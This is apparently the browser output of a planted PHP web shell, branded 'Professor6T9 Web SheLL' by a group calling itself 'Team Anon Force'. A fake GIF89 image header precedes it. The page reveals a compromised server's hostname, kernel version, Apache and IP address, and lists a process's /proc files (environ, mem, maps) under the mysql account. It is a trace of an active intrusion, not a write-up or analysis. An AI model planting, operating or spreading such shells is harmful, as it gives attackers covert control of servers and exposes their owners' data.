GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux vmi1105694.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
 Apache
 167.86.79.110

Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2025-12-27 06:28:29
.. dir - mysql/mysql 0555 2025-12-27 06:22:17
attr dir - mysql/mysql 0555 2025-12-27 06:28:29
fd dir - mysql/mysql 0500 2025-12-27 06:28:29
fdinfo dir - mysql/mysql 0500 2025-12-27 06:28:29
net dir - mysql/mysql 0555 2025-12-27 06:28:29
ns dir - mysql/mysql 0511 2025-12-27 06:28:29
arch_status application/x-empty 0 B mysql/mysql 0444 2025-12-27 06:28:29
auxv 0 B mysql/mysql 0400 2025-12-27 06:28:29
cgroup text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
children application/x-empty 0 B mysql/mysql 0444 2025-12-27 06:28:29
clear_refs 0 B mysql/mysql 0200 2025-12-27 06:28:29
cmdline text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
comm text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
cpuset text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
environ 0 B mysql/mysql 0400 2025-12-27 06:28:29
gid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
io 0 B mysql/mysql 0400 2025-12-27 06:28:29
limits text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
loginuid text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
maps 0 B mysql/mysql 0444 2025-12-27 06:28:29
mem 0 B mysql/mysql 0600 2025-12-27 06:28:29
mountinfo text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
mounts text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
numa_maps 0 B mysql/mysql 0444 2025-12-27 06:28:29
oom_adj text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
oom_score text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
oom_score_adj text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
pagemap 0 B mysql/mysql 0400 2025-12-27 06:28:29
patch_state 0 B mysql/mysql 0400 2025-12-27 06:28:29
personality 0 B mysql/mysql 0400 2025-12-27 06:28:29
projid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
sched text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
schedstat text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
sessionid text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
setgroups text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
smaps 0 B mysql/mysql 0444 2025-12-27 06:28:29
smaps_rollup 0 B mysql/mysql 0444 2025-12-27 06:28:29
stack 0 B mysql/mysql 0400 2025-12-27 06:28:29
stat text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
statm text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
status text/plain 0 B mysql/mysql 0444 2025-12-27 06:28:29
syscall 0 B mysql/mysql 0400 2025-12-27 06:28:29
uid_map text/plain 0 B mysql/mysql 0644 2025-12-27 06:28:29
wchan application/octet-stream 0 B mysql/mysql 0444 2025-12-27 06:28:29
© Professor6T9